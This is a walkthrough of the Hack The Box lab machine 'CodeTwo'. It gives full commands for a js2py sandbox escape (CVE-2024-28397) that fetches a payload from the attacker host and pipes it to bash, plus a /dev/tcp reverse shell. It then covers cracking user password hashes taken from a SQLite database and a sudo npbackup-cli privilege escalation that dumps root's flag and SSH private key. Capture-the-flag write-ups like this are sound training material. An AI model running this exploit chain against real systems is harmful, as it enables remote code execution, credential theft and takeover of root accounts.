Hack The Box / LINUX / 2025-08-23
Hack The Box — CodeTwo (Linux)
js2py sandbox escape (CVE-2024-28397) gives initial shell, SQLite hash extraction yields SSH credentials, and npbackup-cli raw restic abuse discloses root data and SSH key.
Target
- IP:
10.129.152.231
Port scan
sudo nmap -sC -sV 10.129.152.231 -p- -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| 256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_ 256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open http Gunicorn 20.0.4
|_http-title: Welcome to CodeTwo
|_http-server-header: gunicorn/20.0.4
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Go to http://10.129.152.231:8000/.
Download app.
We can see source code. It is a Python/Flask web app.
We see js2py.eval_js is used in endpoint run_code:
@app.route('/run_code', methods=['POST'])
def run_code():
try:
code = request.json.get('code')
result = js2py.eval_js(code)
return jsonify({'result': result})
except Exception as e:
return jsonify({'error': str(e)})
There is a vulnerability (CVE-2024-28397) with PoC:
- https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py
Create a file rev with content:
bash -i >& /dev/tcp/10.10.14.96/4444 0>&1
Start listeners:
python3 -m http.server 5555
nc -vlnp 4444
Register and login on the site. Actually registration/login is not required, but this way we have the code editor.
Paste this payload:
let cmd = "curl http://10.10.14.96:5555/rev | bash"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11
Execute the code.
We obtain a reverse shell as user app.
In /home/app/app/instance there is a sqlite3 database (already known from source code).
cd /home/app/app/instance
sqlite3 users.db
.tables
code_snippet user
select * from user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
3|test12|60474c9c10d7142b7508ce7a50acf414
Put hashes into file hash.
./hashcat/hashcat -a 0 -m 0 ./hash ./rockyou.txt
We obtain:
649c9d65a206a75f5abe509fe128bce5:sweetangelbabylove
ssh marco@10.129.152.231
Insert discovered password.
sudo -l
Matching Defaults entries for marco on codetwo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codetwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
npbackup-cli --help
Option --raw allows executing an arbitrary restic command.
To pass -r to restic we must prepend a \ character.
sudo /usr/local/bin/npbackup-cli -c npbackup.conf --raw '\-r /dev/shm/test init'
sudo /usr/local/bin/npbackup-cli -c npbackup.conf --raw '\-r /dev/shm/test backup /root --tag test'
sudo /usr/local/bin/npbackup-cli -c npbackup.conf --raw '\-r /dev/shm/test snapshots'
Take note of snapshot id, in my case: 9a7b10aa.
sudo /usr/local/bin/npbackup-cli -c npbackup.conf --raw '\-r /dev/shm/test dump 9a7b10aa /root/root.txt'
We obtain root flag.
sudo /usr/local/bin/npbackup-cli -c npbackup.conf --raw '\-r /dev/shm/test dump 9a7b10aa /root/.ssh/id_rsa'
We obtain root SSH private key, then we can connect with SSH as root.